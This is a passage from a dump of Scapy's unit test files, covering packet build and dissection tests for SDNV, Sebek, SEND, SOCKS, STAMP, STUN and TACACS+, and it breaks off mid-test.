offset += sdnvLen\n    if outNums != vec:\n        print(\"Failed on multi-number encode/decode\")\n        return False\n    return True\n\n= Vector tests: small ints\n\nba = bytearray()\ntheNums = [0, 1, 2, 5, 126, 127, 128, 129,\n           130, 150, 190, 220, 254, 255, 256]\nassert doTestVector(theNums)\n\n= Vector tests: big ints\n\ntheNums = [0, 1, 0, 1, 0, 128, 32765,\n           SDNVUtil.maxValue - 10, 4, 32766, 32767, 32768, 32769]\nassert doTestVector(theNums)\n\n= 100 random vector tests\n\nimport random\n\ndef doRandomTestVector(howMany):\n    vec = []\n    for i in range(0, howMany):\n        vec.append(random.randint(0, SDNVUtil.maxValue))\n    result = doTestVector(vec)\n    return result\n\nassert doRandomTestVector(100)\n\n= SDVN tests\n\n# Tests using the SDNV class\ns = SDNV(30)\nb = s.encode(17)\ntheNums = [0, 4, 20, 29, 30, 31, 33]\nnot_enc = []\nfor n in theNums:\n    try:\n        b = s.encode(n)\n    except SDNVValueError as e:\n        print(\"Could not encode\", n, \"-- maximum value is:\", e.maxValue)\n        not_enc.append(n)\n\nnot_enc.sort()\nassert not_enc == [31, 33]"
  },
  {
    "path": "test/contrib/sebek.uts",
    "content": "# Sebek layer unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('sebek')\" -t test/contrib/sebek.uts\n\n+ Sebek protocol\n\n= Layer binding 1\npkt = IP() / UDP() / SebekHead() / SebekV1(cmd=\"diepotato\")\nassert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 1\nassert pkt.summary() == \"IP / UDP / SebekHead / Sebek v1 read (b'diepotato')\"\n\n= Packet dissection 1\npkt = IP(raw(pkt))\npkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 1\n\n= Layer binding 2\npkt = IP() / UDP() / SebekHead() / SebekV2Sock(cmd=\"diepotato\")\nassert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 2 and pkt[SebekHead].type ==2\nassert pkt.summary() == \"IP / UDP / SebekHead / Sebek v2 socket (b'diepotato')\"\n\n= Packet dissection 2\npkt = IP(raw(pkt))\npkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 2 and pkt[SebekHead].type ==2\n\n= Layer binding 3\npkt = IPv6()/UDP()/SebekHead()/SebekV3()\nassert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 3\nassert pkt.summary() == \"IPv6 / UDP / SebekHead / Sebek v3 read (b'')\"\n\n= Packet dissection 3\npkt = IPv6(raw(pkt))\npkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 3\n\n= Nonsense summaries\n\nassert SebekHead(version=2).summary() == \"Sebek Header v2 read\"\nassert SebekV1(cmd=\"diepotato\").summary() == \"Sebek v1 (b'diepotato')\"\nassert SebekV2(cmd=\"diepotato\").summary() == \"Sebek v2 (b'diepotato')\"\nassert (SebekHead()/SebekV2(cmd=\"nottoday\")).summary() == \"SebekHead / Sebek v2 read (b'nottoday')\"\nassert SebekV3(cmd=\"diepotato\").summary() == \"Sebek v3 (b'diepotato')\"\nassert (SebekHead()/SebekV3(cmd=\"nottoday\")).summary() == \"SebekHead / Sebek v3 read (b'nottoday')\"\nassert SebekV3Sock(cmd=\"diepotato\").summary() == \"Sebek v3 socket (b'diepotato')\"\nassert (SebekHead()/SebekV3Sock(cmd=\"nottoday\")).summary() == \"SebekHead / Sebek v3 socket (b'nottoday')\"\nassert SebekV2Sock(cmd=\"diepotato\").summary() == \"Sebek v2 socket (b'diepotato')\"\nassert (SebekHead()/SebekV2Sock(cmd=\"nottoday\")).summary() == \"SebekHead / Sebek v2 socket (b'nottoday')\"\n"
  },
  {
    "path": "test/contrib/send.uts",
    "content": "+ SEND (IPv6) tests\n\n= ICMPv6NDOptRsaSig build and dissection\n\npkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptRsaSig(signature_pad = b\"\\x01\" * 12)\npkt = Ether(raw(pkt))\n\nassert ICMPv6NDOptRsaSig in pkt\nassert pkt[ICMPv6NDOptRsaSig].signature_pad == b\"\\x01\" * 12\n\n= ICMPv6NDOptCGA build and dissection\n\npkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptCGA(CGA_PARAMS=CGA_Params(pubkey=X509_SubjectPublicKeyInfo(signatureAlgorithm=X509_AlgorithmIdentifier(parameters=0))))\npkt = Ether(raw(pkt))\n\nassert ICMPv6NDOptCGA in pkt\nassert isinstance(pkt[ICMPv6NDOptCGA].CGA_PARAMS.pubkey, X509_SubjectPublicKeyInfo)\nassert len(pkt) == 142\n\n= ICMPv6NDOptTmstp build and dissection\n\npkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptTmstp(timestamp=int(time.mktime(time.gmtime())))\npkt = Ether(raw(pkt))\npkt.show()\n\nassert ICMPv6NDOptTmstp in pkt\nassert pkt[ICMPv6NDOptTmstp].len == 2\n\n= ICMPv6NDOptNonce build and dissection\n\npkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptNonce(nonce=b\"\\x31\\x32\\x33\\x34\\x35\\x36\")\npkt = Ether(raw(pkt))\n\nassert ICMPv6NDOptNonce in pkt\nassert raw(ICMPv6NDOptNonce(nonce=b\"\\x31\\x32\\x33\\x34\\x35\\x36\")) == b'\\x0e\\x01123456'\n"
  },
  {
    "path": "test/contrib/socks.uts",
    "content": "+ SOCKS 4/5 tests\n\n= Basic build and dissection - test version dispatch\n\np1 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS5Request()))\np2 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS5Reply()))\np3 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS4Request()))\np4 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS4Reply()))\n\nassert p1[TCP].dport == 1080\nassert p1[SOCKS].vn == 0x5\nassert SOCKS5Request in p1\n\nassert p2[TCP].sport == 1080\nassert p2[SOCKS].vn == 0x5\nassert SOCKS5Reply in p2\n\nassert p3[TCP].dport == 1080\nassert p3[SOCKS].vn == 0x4\nassert SOCKS4Request in p3\n\nassert p4[TCP].sport == 1080\nassert p4[SOCKS].vn == 0x0\nassert SOCKS4Reply in p4\n\n= SOCKS5Request build and dissection\n\npkt = IP(dst=\"127.0.0.1\", src=\"127.0.0.1\")/TCP(sport=123)/SOCKS()/SOCKS5Request(atyp=0x3, addr=\"scapy.net\")\nassert raw(pkt) == b'E\\x00\\x009\\x00\\x01\\x00\\x00@\\x06|\\xbc\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x049\\x048\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xf2*\\x00\\x00\\x05\\x00\\x00\\x03\\x05scapy\\x03net\\x00\\x00P'\npkt = IP(raw(pkt))\n\nassert SOCKS5Request in pkt\nassert pkt[SOCKS5Request].addr == b'scapy.net.'\n\n= Test SOCKSv5 over UDP\n\npkt = Ether()/IP()/UDP()/SOCKS5UDP(port=53)/DNS()\npkt = Ether(raw(pkt))\nassert DNS in pkt\n"
  },
  {
    "path": "test/contrib/stamp.uts",
    "content": "% STAMP regression tests for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n# Type the following command to launch start the tests:\n# $ test/run_tests -t test/contrib/stamp.uts\n\n############\n# STAMP\n############\n\n+ STAMP tests\n\n= Load module\n\nload_contrib(\"stamp\")\n\n= Test STAMP Session-Sender Test (Unauthenticated)\n~ stamp-session-sender-test\n\ncreated = STAMPSessionSenderTestUnauthenticated(\n    seq=0x1234,\n    ts=1234.5678,\n    err_estimate=ErrorEstimate(\n        S=1,\n        Z=0,\n        scale=0x12,\n        multiplier=0x34\n    ),\n    ssid=1357\n)\nassert raw(created) == b'\\x00\\x00\\x12\\x34\\x00\\x00\\x04\\xD2\\x91\\x5B\\x57\\x3E\\x92\\x34\\x05\\x4D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nparsed = STAMPSessionSenderTestUnauthenticated(raw(created))\nassert parsed.seq == 0x1234\nassert parsed.ts == 1234.5678\nassert parsed.err_estimate.S == 1\nassert parsed.err_estimate.Z == 0\nassert parsed.err_estimate.scale == 0x12\nassert parsed.err_estimate.multiplier == 0x34\nassert parsed.ssid == 1357\nassert parsed.mbz == 0\nassert not parsed.tlv_objects\n\n= Test STAMP Session-Reflector Test (Unauthenticated)\n~ stamp-session-reflector-test\n\ncreated = STAMPSessionReflectorTestUnauthenticated(\n    seq=0x1234,\n    ts=1234.5678,\n    err_estimate=ErrorEstimate(\n        S=1,\n        Z=0,\n        scale=0x12,\n        multiplier=0x34\n    ),\n    ssid=1357,\n    ts_rx=4321.8765,\n    seq_sender=0x4321,\n    ts_sender=2143.6587,\n    err_estimate_sender=ErrorEstimate(\n        S=0,\n        Z=0,\n        scale=0x21,\n        multiplier=0x43\n    ),\n    ttl_sender=111\n)\nassert raw(created) == b'\\x00\\x00\\x12\\x34\\x00\\x00\\x04\\xD2\\x91\\x5B\\x57\\x3E\\x92\\x34\\x05\\x4D\\x00\\x00\\x10\\xE1\\xE0\\x62\\x4D\\xD2\\x00\\x00\\x43\\x21\\x00\\x00\\x08\\x5F\\xA8\\xA0\\x90\\x2D\\x21\\x43\\x00\\x00\\x6F\\x00\\x00\\x00'\nparsed = STAMPSessionReflectorTestUnauthenticated(raw(created))\nassert parsed.seq == 0x1234\nassert parsed.ts == 1234.5678\nassert parsed.err_estimate.S == 1\nassert parsed.err_estimate.Z == 0\nassert parsed.err_estimate.scale == 0x12\nassert parsed.err_estimate.multiplier == 0x34\nassert parsed.ssid == 1357\nassert parsed.ts_rx == 4321.8765\nassert parsed.seq_sender == 0x4321\nassert parsed.ts_sender == 2143.6587\nassert parsed.err_estimate_sender.S == 0\nassert parsed.err_estimate_sender.Z == 0\nassert parsed.err_estimate_sender.scale == 0x21\nassert parsed.err_estimate_sender.multiplier == 0x43\nassert parsed.mbz1 == 0\nassert parsed.ttl_sender == 111\nassert parsed.mbz2 == 0\nassert not parsed.tlv_objects\n\n"
  },
  {
    "path": "test/contrib/stun.uts",
    "content": "# STUN unit tests\n# run with:\n#   test/run_tests  -P \"load_contrib('stun')\" -t test/contrib/stun.uts -F\n\n% STUN regression tests for Scapy\n\n############\n# STUN\n############\n\n+ STUN Binding messages\n\n= test STUN binding request 1\n\nraw = b\"\\x00\\x01\\x00\\x64\\x21\\x12\\xa4\\x42\\xcf\\xac\\xb2\\xa4\\x3a\\xa2\\xde\\x5a\" \\\n      b\"\\x9d\\x56\\xd8\\x5a\\x00\\x25\\x00\\x00\\x00\\x24\\x00\\x04\\x6e\\x20\\x00\\xff\" \\\n      b\"\\x80\\x2a\\x00\\x08\\x1b\\x0a\\xb9\\x8b\\x6e\\x8e\\xff\\xa6\\x00\\x06\\x00\\x25\" \\\n      b\"\\x6f\\x4e\\x70\\x68\\x3a\\x48\\x74\\x31\\x31\\x4d\\x61\\x52\\x5a\\x48\\x63\\x34\" \\\n      b\"\\x47\\x4f\\x4c\\x4a\\x55\\x73\\x62\\x75\\x31\\x52\\x33\\x59\\x43\\x73\\x37\\x32\" \\\n      b\"\\x48\\x59\\x4e\\x32\\x35\\x20\\x20\\x20\\x00\\x08\\x00\\x14\\xfc\\xbc\\x47\\x21\" \\\n      b\"\\x68\\x1f\\xdb\\x59\\x91\\x33\\x42\\xbe\\x96\\x19\\x9e\\x7f\\x3e\\xf0\\xe7\\x77\" \\\n      b\"\\x80\\x28\\x00\\x04\\x87\\x18\\xc3\\xa4\"\n\nparsed = STUN(raw)\nassert parsed.RESERVED == 0x00, parsed.RESERVED\nassert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == \"Binding request\"\nassert parsed.length == 100\nassert parsed.magic_cookie == 0x2112A442\nassert parsed.transaction_id == 0xcfacb2a43aa2de5a9d56d85a, parsed.transaction_id\nassert parsed.attributes == [\n      STUNUseCandidate(),\n      STUNPriority(priority=1847591167),\n      STUNIceControlling(tie_breaker=0x1b0ab98b6e8effa6),\n      STUNUsername(length=37, username=\"oNph:Ht11MaRZHc4GOLJUsbu1R3YCs72HYN25\"),\n      STUNMessageIntegrity(hmac_sha1=0xfcbc4721681fdb59913342be96199e7f3ef0e777),\n      STUNFingerprint(crc_32=0x8718c3a4)\n]\n\n= test STUN binding request 2\n\nraw = b\"\\x00\\x01\\x00\\x6c\\x21\\x12\\xa4\\x42\\x34\\x79\\x47\\x65\\x34\\x63\\x59\\x36\" \\\n      b\"\\x31\\x6a\\x79\\x6a\\x00\\x06\\x00\\x25\\x48\\x74\\x31\\x31\\x4d\\x61\\x52\\x5a\" \\\n      b\"\\x48\\x63\\x34\\x47\\x4f\\x4c\\x4a\\x55\\x73\\x62\\x75\\x31\\x52\\x33\\x59\\x43\" \\\n      b\"\\x73\\x37\\x32\\x48\\x59\\x4e\\x32\\x35\\x3a\\x6f\\x4e\\x70\\x68\\x00\\x00\\x00\" \\\n      b\"\\xc0\\x57\\x00\\x04\\x00\\x00\\x03\\xe7\\x80\\x2a\\x00\\x08\\xa6\\x96\\x81\\x9e\" \\\n      b\"\\x91\\xc9\\x37\\xda\\x00\\x25\\x00\\x00\\x00\\x24\\x00\\x04\\x6e\\x00\\x1e\\xff\" \\\n      b\"\\x00\\x08\\x00\\x14\\xc1\\x87\\xaa\\xfa\\xb1\\xe0\\xf3\\x12\\x31\\x43\\x3a\\xb1\" \\\n      b\"\\x4d\\x67\\x6b\\xc7\\xb9\\x89\\xbd\\x5f\\x80\\x28\\x00\\x04\\xc9\\x56\\x6c\\xfc\"\n\nparsed = STUN(raw)\nassert parsed.RESERVED == 0x00, parsed.RESERVED\nassert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == \"Binding request\"\nassert parsed.length == 108\nassert parsed.magic_cookie == 0x2112A442\nassert parsed.transaction_id == 0x3479476534635936316a796a\nassert parsed.attributes == [\n      STUNUsername(length=37, username='Ht11MaRZHc4GOLJUsbu1R3YCs72HYN25:oNph'),\n      STUNGoogNetworkInfo(),\n      STUNIceControlling(tie_breaker=0xa696819e91c937da),\n      STUNUseCandidate(),\n      STUNPriority(priority=1845501695),\n      STUNMessageIntegrity(hmac_sha1=0xc187aafab1e0f31231433ab14d676bc7b989bd5f),\n      STUNFingerprint(crc_32=0xc9566cfc)\n\n]\n\n= test STUN binding success response 1\n\nraw = b\"\\x01\\x01\\x00\\x2c\\x21\\x12\\xa4\\x42\\xcf\\xac\\xb2\\xa4\\x3a\\xa2\\xde\\x5a\" \\\n      b\"\\x9d\\x56\\xd8\\x5a\\x00\\x20\\x00\\x08\\x00\\x01\\xbf\\x32\\x8d\\x06\\xa4\\x68\" \\\n      b\"\\x00\\x08\\x00\\x14\\xb7\\x1f\\xc9\\x23\\x58\\x97\\xc8\\x02\\xe3\\xff\\xf8\\xe3\" \\\n      b\"\\xd8\\x89\\xfa\\x41\\x42\\x8d\\x96\\x7d\\x80\\x28\\x00\\x04\\xea\\x9b\\x65\\x59\"\n\nparsed = STUN(raw)\nassert parsed.RESERVED == 0x00, parsed.RESERVED\nassert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == \"Binding success response\"\nassert parsed.length == 44\nassert parsed.magic_cookie == 0x2112A442\nassert parsed.transaction_id == 0xcfacb2a43aa2de5a9d56d85a, parsed.transaction_id\nassert parsed.attributes == [\n      STUNXorMappedAddress(length=8, xport=40480, xip=\"172.20.0.42\"),\n      STUNMessageIntegrity(hmac_sha1=0xb71fc9235897c802e3fff8e3d889fa41428d967d),\n      STUNFingerprint(crc_32=0xea9b6559)\n]\n\n= test STUN binding success response 2\n\nraw = b\"\\x01\\x01\\x00\\x58\\x21\\x12\\xa4\\x42\\x34\\x79\\x47\\x65\\x34\\x63\\x59\\x36\" \\\n      b\"\\x31\\x6a\\x79\\x6a\\x00\\x20\\x00\\x08\\x00\\x01\\x40\\xba\\x8d\\x06\\xa4\\x8a\" \\\n      b\"\\x00\\x06\\x00\\x25\\x48\\x74\\x31\\x31\\x4d\\x61\\x52\\x5a\\x48\\x63\\x34\\x47\" \\\n      b\"\\x4f\\x4c\\x4a\\x55\\x73\\x62\\x75\\x31\\x52\\x33\\x59\\x43\\x73\\x37\\x32\\x48\" \\\n      b\"\\x59\\x4e\\x32\\x35\\x3a\\x6f\\x4e\\x70\\x68\\x20\\x20\\x20\\x00\\x08\\x00\\x14\" \\\n      b\"\\x4b\\x67\\x03\\x6d\\xfb\\x65\\xca\\x84\\xd6\\x3b\\xca\\xc8\\x6c\\x8d\\x59\\x81\" \\\n      b\"\\xdf\\x65\\x70\\x31\\x80\\x28\\x00\\x04\\x40\\x41\\xe9\\xc3\"\n\nparsed = STUN(raw)\nassert parsed.RESERVED == 0x00, parsed.RESERVED\nassert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == \"Binding success response\"\nassert parsed.length == 88\nassert parsed.magic_cookie == 0x2112A442\nassert parsed.transaction_id == 0x3479476534635936316a796a, parsed.transaction_id\nassert parsed.attributes[0] == STUNXorMappedAddress(length=8, xport=25000, xip=\"172.20.0.200\"), parsed.attributes\nassert parsed.attributes == [\n      STUNXorMappedAddress(length=8, xport=25000, xip=\"172.20.0.200\"),\n      STUNUsername(length=37, username=\"Ht11MaRZHc4GOLJUsbu1R3YCs72HYN25:oNph\"),\n      STUNMessageIntegrity(hmac_sha1=0x4b67036dfb65ca84d63bcac86c8d5981df657031),\n      STUNFingerprint(crc_32=0x4041e9c3)\n]\n\n= test STUN binding success response IPv6\n\nraw = b\"\\x01\\x01\\x00\\x18\\x21\\x12\\xa4\\x42\\x91\\x1b\\x25\\x32\\x99\\x8d\\xa0\\x1c\" \\\n      b\"\\xf9\\xd0\\x53\\xd9\\x00\\x20\\x00\\x14\\x00\\x02\\x3c\\xd7\\x21\\x12\\xa4\\x42\" \\\n      b\"\\x91\\x1b\\x25\\x32\\x99\\x8d\\xa0\\x1c\\xf9\\xd0\\x53\\xd8\"\n\nparsed = STUN(raw)\nassert parsed.RESERVED == 0x00, parsed.RESERVED\nassert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == \"Binding success response\"\nassert parsed.length == 24\nassert parsed.magic_cookie == 0x2112A442\nassert parsed.transaction_id == 0x911b2532998da01cf9d053d9, parsed.transaction_id\nassert len(parsed.attributes) == 1, len(parsed.attributes)\nassert parsed.attributes[0].type == 0x0020, parsed.attributes[0].type\nassert parsed.attributes[0].length == 20, parsed.attributes[0].length\nassert parsed.attributes[0].address_family == 0x02, parsed.attributes[0].address_family\nassert parsed.attributes[0].xport == 7621, parsed.attributes[0].xport\nassert parsed.attributes[0].xip == \"::1\", parsed.attributes[0].xip\n\n= test STUN classic binding success response\n\nraw = b\"\\x01\\x01\\x00\\x0c\\x37\\x06\\xd1\\x4d\\x38\\x3a\\xd6\\xc8\\x40\\x5e\\x17\\x9a\" \\\n      b\"\\x93\\x92\\xea\\xa8\\x00\\x01\\x00\\x08\\x00\\x01\\x0d\\x14\\xc0\\xa8\\x00\\x05\"\n\nparsed = STUN(raw)\nassert parsed.RESERVED == 0x00, parsed.RESERVED\nassert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == \"Binding success response\"\nassert parsed.length == 12\nassert parsed.magic_cookie == 0x3706d14d\nassert parsed.transaction_id == 0x383ad6c8405e179a9392eaa8, parsed.transaction_id\nassert len(parsed.attributes) == 1, len(parsed.attributes)\nassert parsed.attributes[0].type == 0x0001, parsed.attributes[0].type\nassert parsed.attributes[0].length == 8, parsed.attributes[0].length\nassert parsed.attributes[0].address_family == 0x01, parsed.attributes[0].address_family\nassert parsed.attributes[0].port == 3348, parsed.attributes[0].port\nassert parsed.attributes[0].ip == \"192.168.0.5\", parsed.attributes[0].ip\n\n= test STUN binding indication 1\n\nraw = b\"\\x00\\x11\\x00\\x08\\x21\\x12\\xa4\\x42\\x29\\x3d\\x68\\x7b\\x0f\\xbc\\x44\\x7c\" \\\n      b\"\\x01\\xb5\\x8d\\x2e\\x80\\x28\\x00\\x04\\xc8\\x84\\xfe\\x99\"\n\nparsed = STUN(raw)\nassert parsed.RESERVED == 0x00, parsed.RESERVED\nassert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == \"Binding indication\"\nassert parsed.length == 8\nassert parsed.magic_cookie == 0x2112A442\nassert parsed.transaction_id == 0x293d687b0fbc447c01b58d2e, parsed.transaction_id\nassert parsed.attributes == [\n      STUNFingerprint(crc_32=0xc884fe99)\n]\n\n= test STUN binding indication 2\n\nraw = b\"\\x00\\x11\\x00\\x08\\x21\\x12\\xa4\\x42\\x1d\\x93\\x57\\xa1\\xe9\\x4a\\x20\\x51\" \\\n      b\"\\x27\\x19\\x96\\xd9\\x80\\x28\\x00\\x04\\x53\\x80\\x0d\\x81\"\n\nparsed = STUN(raw)\nassert parsed.RESERVED == 0x00, parsed.RESERVED\nassert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == \"Binding indication\"\nassert parsed.length == 8\nassert parsed.magic_cookie == 0x2112A442\nassert parsed.transaction_id == 0x1d9357a1e94a2051271996d9, parsed.transaction_id\nassert parsed.attributes == [\n      STUNFingerprint(crc_32=0x53800d81)\n]\n\n= test STUN packet build\nstun = STUN(\n    stun_message_type=\"Binding request\",\n    transaction_id=0x7664047a24772b5748c0f173\n)\nbuilt = stun.build()\nparsed = STUN(built)\n\nassert parsed.build() == built\n\n= test STUN packet build with attributes\nstun = STUN(\n    stun_message_type=\"Binding success response\",\n    transaction_id=0x3479476534635936316a796a,\n    attributes=[\n        STUNXorMappedAddress(xport=25000, xip=\"172.20.0.200\"),\n        STUNUsername(length=37, username=\"Ht11MaRZHc4GOLJUsbu1R3YCs72HYN25:oNph\"),\n        STUNMessageIntegrity(hmac_sha1=0x4b67036dfb65ca84d63bcac86c8d5981df657031),\n        STUNFingerprint(crc_32=0x4041e9c3)\n    ]\n)\n\nbuilt = stun.build()\nparsed = STUN(built)\n\nassert parsed.build() == built\n\n= test STUN packet build IPv6\n\nstun = STUN(\n    stun_message_type=\"Binding success response\",\n    transaction_id=0x911b2532998da01cf9d053d9,\n    attributes=[\n        STUNXorMappedAddress(xport=7621, address_family=\"IPv6\", xip=\"::1\")\n    ]\n)\nbuilt = stun.build()\nparsed = STUN(built)\n\nassert parsed.build() == built\nassert parsed.attributes[0].length == 20\n\n= test STUN bottom up binding 1\n\nudp = UDP(sport=62049, dport=3478) / STUN()\nbuilt = udp.build()\nparsed = UDP(built)\n\nassert type(parsed.payload) == STUN, parsed.show(dump=True)\n\n= test STUN bottom up binding 2\n\nudp = UDP(sport=3478, dport=62049) / STUN(stun_message_type=\"Binding error response\")\nbuilt = udp.build()\nparsed = UDP(built)\n\nassert type(parsed.payload) == STUN, parsed.show(dump=True)\n\n= test STUN top down binding\n\nudp = UDP() / STUN()\nbuilt = udp.build()\nparsed = UDP(built)\n\nassert parsed.sport == 3478, parsed.sport\nassert parsed.dport == 3478, parsed.dport\n"
  },
  {
    "path": "test/contrib/tacacs.uts",
    "content": "# TACACS+ related regression tests\n# \n# Type the following command to launch the tests:\n# $ test/run_tests -P \"load_contrib('tacacs')\" -t test/contrib/tacacs.uts\n\n+ Tacacs+ header\n\n= default instantiation\n\npkt = IP()/TCP(dport=49)/TacacsHeader()\nraw(pkt) == b'E\\x00\\x004\\x00\\x01\\x00\\x00@\\x06|\\xc1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xd0p\\x00\\x00\\xc0\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= default values build\n\npkt = IP()/TCP(dport=49)/TacacsHeader()\npkt.session_id == 0 and TacacsHeader in pkt\n\n= filled values build\n\npkt = IP()/TCP(dport=49)/TacacsHeader(seq=5, session_id=165)\nraw(pkt) == b'E\\x00\\x004\\x00\\x01\\x00\\x00@\\x06|\\xc1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xcb\\xcb\\x00\\x00\\xc0\\x01\\x05\\x00\\x00\\x00\\x00\\xa5\\x00\\x00\\x00\\x00'\n\n= dissection\n\npkt = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x004\\x00\\x01\\x00\\x00@\\x06|\\xc1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x1c4\\x00\\x00\\xc0\\x01\\x01\\x00\\x00Y\\xb3\\xe3\\x00\\x00\\x00\\x00')\npkt.session_id == 5878755\n\n+ Tacacs+ Authentication Start \n\n= default instantiation\n\npkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationStart()\nraw(pkt) == b'E\\x00\\x00<\\x00\\x01\\x00\\x00@\\x06|\\xb9\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xce\\xfb\\x00\\x00\\xc0\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08R\\x0f\\x9e\\xe7\\xe0\\xd1/\\x9c'\n\n= default values build\n\npkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationStart()\nTacacsAuthenticationStart in pkt and pkt.action == 1 and pkt.priv_lvl == 1 and pkt.authen_type == 1 and pkt.authen_service == 1\n\n= filled values build -- SSH connection sample use scapy, secret = test\n\npkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, flags=0, session_id=2424164486, length=28)/TacacsAuthenticationStart(user_len=5, port_len=4, rem_addr_len=11, data_len=0, user='scapy', port='tty2', rem_addr='172.10.10.1')\nraw(pkt) == b\"E\\x00\\x00P\\x00\\x01\\x00\\x00@\\x06|\\xa5\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xd4t\\x00\\x00\\xc0\\x01\\x01\\x00\\x90}\\xd0\\x86\\x00\\x00\\x00\\x1c\\x05\\x00POza\\xed\\xee}\\xa5R\\xd3Vu+\\xbb'\\xae\\x98\\xaa\\x1a\\x9d\\x17=\\x90\\xd2\\x07q\"\n\n= dissection\n\npkt = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00P\\x00\\x01\\x00\\x00@\\x06|\\xa5\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xd5t\\x00\\x00\\xc0\\x01\\x01\\x00\\x90}\\xd0\\x86\\x00\\x00\\x00\\x1c\\x05\\x00POza\\xed\\xee}\\xa5R\\xd3Vu+\\xbb&\\xae\\x98\\xaa\\x1a\\x9d\\x17=\\x90\\xd2\\x07q')\npkt.user == b'scapy' and pkt.port == b'tty3'\n\n+ Tacacs+ Authentication Reply\n\n= default instantiation\n\npkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationReply()\nraw(pkt) == b'E\\x00\\x00:\\x00\\x01\\x00\\x00@\\x06|\\xbb\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xfd\\x9d\\x00\\x00\\xc0\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06R\\x0e\\x9f\\xe6\\xe0\\xd1'\n\n= default values build\n\npkt = IP()/TCP(dport=49)/TacacsHeader(seq=2)/TacacsAuthenticationReply()\nTacacsAuthenticationReply in pkt and pkt.status == 1\n\n= filled values build -- SSH connection sample use scapy, secret = test\n\npkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, flags=0, session_id=2424164486, length=16)/TacacsAuthenticationReply(status=5, flags=1, server_msg_len=10, data_len=0, server_msg='Password: ')\nraw(pkt) == b'E\\x00\\x00D\\x00\\x01\\x00\\x00@\\x06|\\xb1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x0f\\x87\\x00\\x00\\xc0\\x01\\x02\\x00\\x90}\\xd0\\x86\\x00\\x00\\x00\\x10*\\x0c\\x1d\\xa0\\xa2[xE\\x0b\\t/s\\xee\\x8b\\xd3o'\n\n= dissection\n\npkt = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00D\\x00\\x01\\x00\\x00@\\x06|\\xb1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x0f\\x87\\x00\\x00\\xc0\\x01\\x02\\x00\\x90}\\xd0\\x86\\x00\\x00\\x00\\x10*\\x0c\\x1d\\xa0\\xa2[xE\\x0b\\t/s\\xee\\x8b\\xd3o')\npkt.server_msg == b'Password: '\n\n+ Tacacs+ Authentication Continue\n\n= default instantiation\n\npkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationContinue()\nraw(pkt) == 